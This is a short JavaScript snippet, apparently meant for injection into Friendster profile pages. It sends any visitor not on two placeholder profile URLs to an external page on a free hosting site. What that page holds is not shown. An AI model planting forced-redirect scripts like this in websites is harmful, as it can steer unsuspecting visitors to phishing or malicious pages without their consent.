var myplace = document.location.href; if (myplace == "http://profiles.friendster.com/user.php?uid=userID"){ } else if (myplace == "http://profiles.friendster.com/user.php?uid=userID"){ } else { location.href = "http://h1.ripway.com/n1nj4_blu3/friendster.html"; }